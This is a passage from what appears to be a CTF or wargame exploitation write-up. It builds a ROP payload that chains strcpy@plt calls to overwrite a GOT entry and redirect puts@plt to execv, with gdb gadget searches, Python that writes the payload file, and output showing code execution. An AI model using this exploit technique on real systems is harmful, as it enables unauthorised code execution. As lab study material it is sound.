DATA2 = [0x804803d, 0x8048003, 0x80481b0, 0x8048007]

The payload will look like:
[ STRCPY, POP2RET, GOTADDR, DATA2[0], STRCPY, POP2RET, GOTADDR+1, DATA2[1], ... ]

Finally, we make call to execv() via puts@plt:
[ PLTADDR, 0xdeadbeef, TARGET, NULLARGV ]

We have a small problem, our payload size is 176. Each strcpy() call takes 16 bytes payload and there is 10 calls for data transfer, we have to reduce at least 1 call. We can tweak our custom shell a bit to reduce payload length, instead of "/tmp/v" we use "/tmp/ld-linux.so.2" so the last string to copy is "/ld-linux.so.2".

gdb$ findsubstr 0x08048000 0x0804a000  "/"
Searching for '/'
'/': 0x8048134
gdb$ x/s 0x8048134
0x8048134:     "/lib/ld-linux.so.2"
gdb$ x/s 0x8048138
0x8048138:     "/ld-linux.so.2"

DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]

Wrap things up and test:

gdb$ shell python
Python 2.6.6 (r266:84292, Sep 15 2010, 15:52:39)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> TARGET = 0x8049a90
>>> NULLARGV = TARGET - 4
>>> STRCPY = 0x080484f0
>>> POP2RET = 0x80485e3
>>> DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]
>>> PAYLOAD = []
>>> for i in range(len(DATA1)):
...     PAYLOAD += [STRCPY, POP2RET, TARGET+i, DATA1[i]]
...
>>> for i in range(len(DATA2)):
...     PAYLOAD += [STRCPY, POP2RET, GOTADDR+i, DATA2[i]]
...
>>> PAYLOAD += [PLTADDR, 0xdeadbeef, TARGET, NULLARGV]
>>> len(PAYLOAD)
40
>>> fd = open("payload", "wb")
>>> import struct
>>> fd.write("A"*32) # padding
>>> for i in range(len(PAYLOAD)):
...     fd.write(struct.pack("<I", PAYLOAD[i]))
...
>>> fd.close()
>>> ^D

gdb$ shell ln -s /usr/bin/id /tmp/ld-linux.so.2
gdb$ r < payload
input: process 1866 is executing new program: /usr/bin/id

Program received signal SIGPIPE, Broken pipe.

Pwned!

Notes:

  • This way can also be applied to exploit karma 500
  • Disekt's return to do_system() trick is really neat for local exploit
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »